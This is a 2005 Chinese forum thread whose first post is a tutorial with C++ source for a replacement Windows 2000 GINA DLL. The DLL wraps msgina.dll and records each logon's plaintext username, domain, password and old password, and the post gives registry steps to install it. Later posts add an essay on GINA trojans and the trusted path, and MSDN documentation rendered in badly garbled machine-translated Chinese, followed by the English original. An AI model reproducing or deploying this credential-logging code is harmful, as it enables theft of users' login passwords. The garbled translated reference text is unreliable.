-- WINDOWS 2000下如何获得用户登录名和密码
[align=center]WINDOWS 2000下如何获得用户登录名和密码 作者:moonstone [/align] 下载本文示例源代码一、原理 在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。
WinLogon初始化时会创建3个桌面: (1)、winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等 (2)、应用程序桌面:我们平时见到的那个有我的电脑的界面 (3)、屏幕保护桌面:屏幕保护显示界面。
在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。
二、程序实现 GINA DLL要输出下列函数(winlogon会调用):
(表一)GINA 函数一览表
函数 | 描述 | WlxActivateUserShell | 激活用户外壳程序 | WlxDisplayLockedNotice | 允许GINA DLL 显示锁定信息 | WlxDisplaySASNotice | 当没有用户登陆时,Winlogon调用此函数 | WlxDisplayStatusMessage | Winlogon 用一个状态信息调用此函数进行显示 | WlxGetConsoltchCredentials | Winlogon调用此函数读取当前登陆用户的信任信息,并透明地将它们传到目标会话 | WlxGetStatusMessage | Winlogon 调用此函数获取当前状态信息 | WlxInitialize | 针对指定的窗口位置进行GINA DLL初始化 | WlxIsLockOk | 验证工作站正常锁定 | WlxIslogoffOk | 验证注销正常 | WlxLoggedOnSAS | 用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数 | WlxLoggedOutSAS | 没有用户登陆,如果此时收到SAS事件,则Winlogon 调用此函数, This indicates that a logon attempt should be made 。 | WlxLogoff | 请求注销操作时通知GINA DLL | WlxNegotiate | 表示当前的Winlogon版本是否能使用GINA DLL | WlxNetworkProviderLoad | 在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数 | WlxRemoveStatusMessage | Winlogon 调用此函数告诉GINA DLL 停止显示状态信息 | WlxScreensaverNotify | 允许GINA与屏幕保护操作交互 | WlxShutdown | 在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡 | WlxStartApplication | 当系统需要在用户的上下文中启动应用程序时调用此函数 | WlxWkstaLockedSAS | 当工作站被锁定,如果接收到一个SAS,则Winlogon 调用此函数 | 为了简化编程,我们从MSGINA.DLL中动态获取上述函数,在自定义的DLL中(以下称为MyGina.DLL)中直接调用MSGINA.DLL的函数即可。现在我们要处理的就是WlxLoggedOutSAS函数:
/********************************************************************/
//在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!
int WINAPI WlxLoggedOutSAS (
PVOID pWlxContext,
DWORD dwSasType,
PLUID &nb
20000
sp; pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID * pProfile)
{
int iRet=0;
PWSTR pszUserName=NULL; //用户名
PWSTR pszDomain=NULL; //机器名
PWSTR pszPassword=NULL; //密码
PWSTR pszOldPassword=NULL; //旧密码
PSTR pLogonTime=new char[100]; //登录时间
//调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数
iRet = prcWlxLoggedOutSAS(
pWlxContext,
dwSasType,
pAuthenticationId,
pLogonSid,
pdwOptions,
phToken,
pMprNotifyInfo,
pProfile);
if(iRet == WLX_SAS_ACTION_LOGON)
{
//Get logon time
CTime tm=CTime::GetCurrentTime();
::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d //r//n",
tm.GetYear(),
tm.GetMonth(),
tm.GetDay(),
tm.GetHour(),
tm.GetMinute(),
tm.GetSecond());
if(pLogonTime!=NULL)
{
WriteInfo("logon_time: ");
WriteInfo(pLogonTime);
}
// copy pMprNotifyInfo and pLogonSid for later use
pszUserName=pMprNotifyInfo->pszUserName;
if(pszUserName!=NULL)
{
WriteInfo("Username : ");
WriteInfoW(pszUserName);
}
pszDomain=pMprNotifyInfo->pszDomain;
if(pszDomain!=NULL)
{
WriteInfo("Domain : ");
WriteInfoW(pszDomain);
}
pszPassword =pMprNotifyInfo->pszPassword;
if(pszPassword!=NULL)
{
WriteInfo("PassWord : ");
WriteInfoW(pszPassword);
}
pszOldPassword=pMprNotifyInfo->pszOldPassword;
if(pszOldPassword!=NULL)
{
WriteInfo("OldPassword: ");
WriteInfoW(pszOldPassword);
}
}
return iRet;
}
/********************************************************************/ 还有要注意的是,从pMprNotifyInfo获得都是unicode字符串,显示的时候要先把它们转换成ASCII字符串 :
void WriteInfoW(PWSTR WideStr) //显示unicode字符串信息
{
//获取unicode字符串的字符个数
int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1, NULL,0,NULL,NULL);
//在进程堆中分配空间
PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);
if(tempStr==NULL) return ;
//把unicode字符串转换为ASCII字符串
WideCharToMultiByte(CP_ACP,0,WideSt ,-1, tempStr,nstrlen,NULL,NULL);
WriteInfo(tempStr); //显示ASCII字符串信息
//释放分配的堆空间
HeapFree(GetProcessHeap(),0,tempStr);
} 三、安装和注意事项:
在编写GIAN DLL中要注意,GINA DLL使用的是unicode。
【安装】GINA DLL的安装: 1. 添加注册表 键名 : //HKEY_LOCAL_MACHINE//Software//Microsoft//Windows NT//CurrentVersion//Winlogon 变量名 : GinaDLL 变量类型 : [REG_SZ] 内容 : "你的GINA DLL的名称" 如:"MyGina.DLL:
2. 将你的GINA DLL(MyGina.dll)拷贝到系统目录下(system32);
3. 重启机器,你的GINA DLL(MyGina.dll)就会运行。
【注意】 1. 如果出现进不了你的系统,那你进入DOS后,将msgina.dll拷贝成你的GINA DLL(MyGina.dll)就可进入了;或者进入安全模式,删除掉那个键值( GinaDLL )。
2. Console 程序如果想使用MFC类,必须包含<afx.h>,同时注释掉<windows.h>。
3. 如果出现这种错误:“LINK : fatal error LNK1104: cannot open file "mfc42u.lib" ”,那么说明 lib路径的设置问题,你的链接器在指定的目录下没有找到这个的文件,你应该添加新的目录以便编译器找到所需的库文件。具体位置:IDE中 菜单Tools//Options//Directories//show directories for// <library files>。
4. 如果出现这种错误:“uafxcwd.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”或者“mfcs42ud.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”,那么“See if you have _AFXDLL and _USRDLL in the preprocessor definitions. Try removing one of them”。具体位置:IDE中 菜单Project // Setting // C/C++ // preprocessor definition 。
|
| -- 作者:0934 -- 发布时间:2005-4-25 5:54:26
-- http://msdn.microsoft.com/library/en-us/secauthn/security/winlogon_and_gina.asp | -- 作者:0934 -- 发布时间:2005-4-25 6:11:18
--
GINA出口函数AGINA 动态链接库必须出口下列函数。
登录用户函数下列函数提供能力登录一个用户。
函数 | 描述 |
---|
LogonUser | 到元木的尝试在到本地的计算机上的一个用户。 | LogonUserEx | 到元木的尝试在到本地的计算机上的一个用户。 这函数是一个扩充的版本的LogonUser 函数并且搜索在笨拙上用户的家的信息安全标识符 (SID), 侧面, 并且限额极限。 |
Winlogon支持函数GINA动态链接库能打电话下列Winlogon 支持函数。
| -- 作者:0934 -- 发布时间:2005-4-25 6:14:06
--
漫谈主流操作系统中可信路径安全机制 【2/22/2005 13:40:51
漫谈主流操作系统中可信路径安全机制
等等,你也许会想到GINA木马,它不就是伪造的登陆窗口吗?在登陆到windowsNT时,我们按下ctrl+alt+del这个所谓的可信路径时,怎么没有将它杀掉?事实上,GINA木马并不是直接击败可信路径这一功能,而是破坏了可信路径下层的TCB,改变了TCB中软件结构的一部分!现在我们来回忆一下GINA木马的一些细节,还记得吧?
GINA[GINA: Graphical Identification and Authentication,图形身份验证 ] 在windows中,缺省的GINA就是msgina.dll ,它是运行在winlogon.exe的进程空间中的,由注册表中//HKEY_LOCAL_MACHINE//Software//Microsoft//Windows NT//CurrentVersion//Winlogon//GinaDLL=yourgina.dll 定义,默认情况下则就是msgina.dll,而GINA木马的实现机理则就是通过修改注册表,将原来的msgina.dll替换为自己的木马GINA,以此实现将截获的用户名和密码保存在某个文件中,供黑帽子读取。
严格来说这确实不算是直接击败了SAS可信路径功能,因为必须有administrator权限才能进行操作注册表,完成替换系统文件的工作,而这种方式是微软提供给客户的一种功能,方便客户以自己的方式来进行用户身份验证,比如使用指纹鉴别仪,视网膜扫校仪等非口令验证方式,只要替换msgina.dll为特定的GINA,就可以完成这种衔接工作,因此这只是一种功能,不是缺陷,更不能算是漏洞;并且,在WINDOWS这种操作系统中,若得到了admin权限,则再也没有什么不能做的事。
在美国foundstone公司编撰的《黑客大曝光》[Hacking Exposed]一书中,也提到了一个能捕获ctrl + alt + del 三键序列之后的密码操作的工具,Invisible Keylogger Stealth (IKS),它能远程安装,安装后需要重启,之后就能运行在后台,偷偷窃取用户的密码,并将其记录在iks.dat 文件中,且该iks.dat 文件是二进制格式,需专用的datview程序解读,隐蔽性不可谓不好,不过这个程序仍然不是直接击败可信路径,而是破坏了目标机器的TCB,与GINA木马类似的,它也需要管理员权限,因为它是基于编制设备驱动程序来实现其功能的,而在一台WINNT机器上安全设备驱动,自然必须管理员才能完成操作。因此这仍然不能算是一个漏洞,从TCB概念的角度来分析也是如此,是TCB中的一部分改变了另一部分,记得我们前面所说的系统管理员也是TCB的构成部分吗?这里指的系统管理员并非具体的人,而是拥有管理权限的帐户,机器、程序是不会辨别人类的,谁控制了管理帐户,机器就听谁的指挥。
NT系列windows操作系统的启动过程中关于SAS的定义过程是: 初始化时GINA已经收到VOID WlxUseCtrlAltDel(HANDLE hWlx);这个函数它的作用就是通知winlogon.exe,GINA默认使用ctrl+alt+del这个标准SAS.如果要用自己定义SAS序列的话,开发者必须在编制自己的GINA.dll时 自行HOOK热键.并且通过: WlxSasNotify(hGlobalWlx, dwSasType); 这个函数来报告将使用的SAS。 GINA将提供给winlogon.exe一个函数: VOID WINAPI WlxDisplaySASNotice(PVOID pContext); 用于显示欢迎画面以及验证是否使用了自定义的SAS序列。
[align=right][此贴子已经被作者于2005-4-25 6:15:23编辑过][/align]
| -- 作者:0934 -- 发布时间:2005-4-25 6:15:53
--
WlxUseCtrlAltDelWlxUseCtrlAltDel 函数被调用由GINA 告诉Winlogon 使用标准的CTRL+ALT+DEL钥匙联合作为一安全的注意序列 (SAS)。
这函数已经被替代由WlxSetOption 函数打电话了与选择 参数设定到WLX_OPTION_USE_CTRL_ALT_DEL。
空旷 WlxUseCtrlAltDel( 柄 hWlx);
参数hWlx [在] Winlogon柄提供了给GINA在WlxInitialize 打电话。
返回值这函数没有返回值。
讲话如果GINA使用这函数, 它是没要求使用WlxSasNotify 函数。 然而, 如果为另外的蔬菜除了CTRL+ALT+DEL GINA正在监视, 它必须使用WlxSasNotify 交付附加的SAS事件通知。
要求顾客 | 要求Windows XP, Windows 2000 职业, 或Windows NT工作站 4.0 SP3并且以后。 |
---|
服务者 | 要求Windows服务器 2003, Windows 2000 服务者, 或Windows NT服务者 3.51并且以后。 |
---|
首领 | 在Winwlx声明了...。
|
---|
| -- 作者:0934 -- 发布时间:2005-4-25 6:17:34
--
WlxSasNotifyWlxSasNotify 函数被调用由GINA 通报Winlogon 的一安全的注意序列 (SAS) 事件。
空旷 WlxSasNotify( 柄 hWlx, DWORD dwSasType);
参数hWlx [在] 规定被传递了给GINA在的Winlogon柄WlxInitialize 打电话。 dwSasType [在] 规定那发生了的SAS的类型。 到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 GINA开发者能使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值定义附加的SAS类型。
下列价值被预先规定。
这值将被送到由Winlogon服务例程调用了的GINA SAS的之一(WlxLoggedOutSAS, WlxLoggedOnSAS, 或WlxWkstaLockedSAS).
价值 | 意思 |
---|
WLX_SAS_TYPE_CTRL_ALT_DEL | 显示用户已经打CTRL+ALT+DEL SAS。 |
返回值这函数没有返回值。
要求顾客 | 要求Windows XP, Windows 2000 职业, 或Windows NT工作站 4.0 SP3并且以后。 |
---|
服务者 | 要求Windows服务器 2003, Windows 2000 服务者, 或Windows NT服务者 3.51并且以后。 |
---|
首领 | 在Winwlx声明了...。
|
---|
| -- 作者:0934 -- 发布时间:2005-4-25 6:25:07
--
WlxLoggedOutSASWlxLoggedOutSAS 函数必须被代替实现GINA 动态链接库。 Winlogon 当它收到时调用这函数一安全的注意序列 (SAS) 事件当时没有用户笨拙在上。
int WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, PVOID* pProfile);
参数pWlxContext [在] 与这个窗户车站到GINA上下文的一个指示器联系了。 当Winlogon打电话时GINA归还这上下文价值WlxInitialize 为这个车站。 dwSasType [在] 规定那发生了的SAS的类型。 到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 由使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值GINA开发者能定义附加的SAS类型。 下列SAS类型被预先规定。
价值 | 意思 |
---|
WLX_SAS_TYPE_CTRL_ALT_DEL | 显示一个用户已经打标准的CTRL+ALT+DEL SAS。 | WLX_SAS_TYPE_SC_INSERT | 显示一智能卡 已经被插入到一套兼容的设备。 | WLX_SAS_TYPE_SC_REMOVE | 显示一张智能卡已经被移开从一套兼容的设备。 | WLX_SAS_TYPE_TIMEOUT | 显示在规定的过期时期以内没有用户输入被收到。 | pAuthenticationId [外面] 规定与水流被联系了的认证标识符登录会议。 由打电话你能得到这价值GetTokenInformation 获得一TOKEN_STATISTICS 为标志的结构返回了由LogonUser 函数。 pLogonSid [在, 外面] 在输入上, 这参数意义到一安全标识符 (SID) 对当前的登录会议那唯一。 Winlogon 使用这SID在窗户车站和应用桌面上改变保护以便新的在笨拙上用户能存取他们。 在输出上, Winlogon提供一SID。 由使用你能也得到SIDGetTokenInformation 函数到搜索一TOKEN_GROUPS 为标志的结构返回了由LogonUser 函数。 做这, 寻找被归还了在的数组TOKEN_GROUPS 为有SE_GROUP_LOGON_ID的团体的结构归因。
pdwOptions [外面] 一个指示器到一DWORD 那包含登录选择的集合。 下列选择被定义。
价值 | 意思 |
---|
WLX_LOGON_OPT_NO_PROFILE
| 显示为在笨拙上用户那Winlogon不能装载一个侧面。 GINA动态链接库将照顾这次活动, 或用户不需要一个侧面。 | phToken [外面] 到柄变数的一个指示器。 当登录军事行动成功时, 将这个柄放到那代表在笨拙上用户的一个标志。 使用LogonUser 得到这个标志的函数, 那时, 当用户离去时, Winlogon关上这个柄并且打电话WlxLogoff 函数。 如果在打电话以后你需要这个柄WlxLogoff 函数, 做一柄的在放回它至Winlogon前复制。
pNprNotifyInfo [外面] 一个指示器到一WLX_MPR_NOTIFY_INFO 那包含域的结构, 用户名字, 并且为用户的口令信息。 Winlogon将使用这条信息提供鉴定和认证信息给网络供应商。 GINA是没要求归还口令信息。 在结构以内的任何等于零的田野将被Winlogon忽略。 使用LocalAlloc 分派每根弦; Winlogon将免费他们当他们不再是时需要。
GINA应该提供域, 用户, 并且为完全的会议目录泛函性的口令值。 如果口令是没提供, 会议目录将要求用户到在用户前口令两次被连结到服务器的输入。
为保护口令的信息, 看处理口令.
pProfile [外面] 在从一次成功的认证的回来上, pProfile 参数意义到也一WLX_PROFILE_V1_0 或一WLX_PROFILE_V2_0 结构。 第一DWORD 在结构显示它是哪个结构。 Winlogon使用这结构装载在笨拙上用户的侧面, 并且自由与结构当它不再需要它时被联系了的记忆。
返回值如果函数失败, 函数归还零。 如果函数成功, 它归还下列价值的之一。
归还代码 | 描述 |
---|
WLX_SAS_ACTION_LOGON | 显示一个用户笨拙在上。 | WLX_SAS_ACTION_NONE | 显示笨拙的尝试是不成功的或取消。 | WLX_SAS_ACTION_SHUTDOWN | 显示用户请求了系统被关闭。 |
讲话在打电话前WlxLoggedOutSAS, Winlogon给桌面状态以便当前的桌面是Winlogon桌面并且给工作站状态以便桌面被锁。
别触发用户壳节目在WlxLoggedOutSAS。 用户壳节目应该总是被触发在WlxActivateUserShell.
要求顾客 | 要求Windows XP, Windows 2000 职业, 或Windows NT工作站 4.0 SP3并且以后。 |
---|
服务者 | 要求Windows服务器 2003, Windows 2000 服务者, 或Windows NT服务者 3.51并且以后。 |
---|
首领 | 在Winwlx声明了...。
|
---|
| -- 作者:0934 -- 发布时间:2005-4-25 6:28:27
-- pWlxContext [在] 与这个窗户车站到GINA上下文的一个指示器联系了。 当Winlogon打电话时GINA归还这上下文价值WlxInitialize 为这个车站。 dwSasType [在] 规定那发生了的SAS的类型。 到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 由使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值GINA开发者能定义附加的SAS类型。 下列SAS类型被预先规定。
价值 | 意思 |
---|
WLX_SAS_TYPE_CTRL_ALT_DEL | 显示一个用户已经打标准的CTRL+ALT+DEL SAS。 | WLX_SAS_TYPE_SC_INSERT | 显示一智能卡 已经被插入到一套兼容的设备。 | WLX_SAS_TYPE_SC_REMOVE | 显示一张智能卡已经被移开从一套兼容的设备。 | WLX_SAS_TYPE_TIMEOUT | 显示在规定的过期时期以内没有用户输入被收到。 | pAuthenticationId [外面] 规定与水流被联系了的认证标识符登录会议。 由打电话你能得到这价值GetTokenInformation 获得一TOKEN_STATISTICS 为标志的结构返回了由LogonUser 函数。 pLogonSid [在, 外面] 在输入上, 这参数意义到一安全标识符 (SID) 对当前的登录会议那唯一。 Winlogon 使用这SID在窗户车站和应用桌面上改变保护以便新的在笨拙上用户能存取他们。 在输出上, Winlogon提供一SID。 由使用你能也得到SIDGetTokenInformation 函数到搜索一TOKEN_GROUPS 为标志的结构返回了由LogonUser 函数。 做这, 寻找被归还了在的数组TOKEN_GROUPS 为有SE_GROUP_LOGON_ID的团体的结构归因。
pdwOptions [外面] 一个指示器到一DWORD 那包含登录选择的集合。 下列选择被定义。
价值 | 意思 |
---|
WLX_LOGON_OPT_NO_PROFILE
| 显示为在笨拙上用户那Winlogon不能装载一个侧面。 GINA动态链接库将照顾这次活动, 或用户不需要一个侧面。 | phToken [外面] 到柄变数的一个指示器。 当登录军事行动成功时, 将这个柄放到那代表在笨拙上用户的一个标志。 使用LogonUser 得到这个标志的函数, 那时, 当用户离去时, Winlogon关上这个柄并且打电话WlxLogoff 函数。 如果在打电话以后你需要这个柄WlxLogoff 函数, 做一柄的在放回它至Winlogon前复制。
pNprNotifyInfo [外面] 一个指示器到一WLX_MPR_NOTIFY_INFO 那包含域的结构, 用户名字, 并且为用户的口令信息。 Winlogon将使用这条信息提供鉴定和认证信息给网络供应商。 GINA是没要求归还口令信息。 在结构以内的任何等于零的田野将被Winlogon忽略。 使用LocalAlloc 分派每根弦; Winlogon将免费他们当他们不再是时需要。
GINA应该提供域, 用户, 并且为完全的会议目录泛函性的口令值。 如果口令是没提供, 会议目录将要求用户到在用户前口令两次被连结到服务器的输入。
为保护口令的信息, 看处理口令.
pProfile [外面] 在从一次成功的认证的回来上, pProfile 参数意义到也一WLX_PROFILE_V1_0 或一WLX_PROFILE_V2_0 结构。 第一DWORD 在结构显示它是哪个结构。 Winlogon使用这结构装载在笨拙上用户的侧面, 并且自由与结构当它不再需要它时被联系了的记忆。 | -- 作者:0934 -- 发布时间:2005-4-25 6:29:20
--
以下是原文:
WlxLoggedOutSASThe WlxLoggedOutSAS function must be implemented by a replacement GINA DLL. Winlogon calls this function when it receives a secure attention sequence (SAS) event while no user is logged on.
int WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, PVOID* pProfile);
ParameterspWlxContext [in] A pointer to the GINA context associated with this window station. The GINA returns this context value when Winlogon calls WlxInitialize for this station. dwSasType [in] Specifies the type of SAS that occurred. Values from zero to WLX_SAS_TYPE_MAX_MSFT_VALUE are reserved to define standard Microsoft SAS types. GINA developers can define additional SAS types by using values greater than WLX_SAS_TYPE_MAX_MSFT_VALUE. The following SAS types are predefined.
Value | Meaning |
---|
WLX_SAS_TYPE_CTRL_ALT_DEL | Indicates that a user has typed the standard CTRL+ALT+DEL SAS. | WLX_SAS_TYPE_SC_INSERT | Indicates that a smart card has been inserted into a compatible device. | WLX_SAS_TYPE_SC_REMOVE | Indicates that a smart card has been removed from a compatible device. | WLX_SAS_TYPE_TIMEOUT | Indicates that no user input was received within the specified time-out period. | pAuthenticationId [out] Specifies the authentication identifier associated with the current logon session. You can get this value by calling GetTokenInformation to obtain a TOKEN_STATISTICS structure for the token returned by the LogonUser function. pLogonSid [in, out] On input, this parameter points to a security identifier (SID) that is unique to the current logon session. Winlogon uses this SID to change the protection on the window station and application desktop so that the new logged-on user can access them. On output, Winlogon provides a SID. You can also get the SID by using the GetTokenInformation function to retrieve a TOKEN_GROUPS structure for the token returned by the LogonUser function. To do this, search the array returned in the TOKEN_GROUPS structure for the group with the SE_GROUP_LOGON_ID attribute.
pdwOptions [out] A pointer to a DWORD that contains the set of logon options. The following option is defined.
Value | Meaning |
---|
WLX_LOGON_OPT_NO_PROFILE
| Indicates that Winlogon must not load a profile for the logged-on user. Either the GINA DLL will take care of this activity, or the user does not need a profile. | phToken [out] A pointer to a handle variable. When the logon operation succeeds, set this handle to a token that represents the logged-on user. Use the LogonUser function to get this token, then, when the user logs off, Winlogon closes this handle and calls the WlxLogoff function. If you need this handle after calling the WlxLogoff function, make a duplicate of the handle before returning it to Winlogon.
pNprNotifyInfo [out] A pointer to an WLX_MPR_NOTIFY_INFO structure that contains domain, user name, and password information for the user. Winlogon will use this information to provide identification and authentication information to network providers. The GINA is not required to return password information. Any NULL fields within the structure will be ignored by Winlogon. Use LocalAlloc to allocate each string; Winlogon will free them when they are no longer needed.
The GINA should provide domain, user, and password values for complete Session Directory functionality. If the password is not provided, Session Directory will require the user to input the password twice before the user is connected to the server.
For information about protecting passwords, see Handling Pas
|
|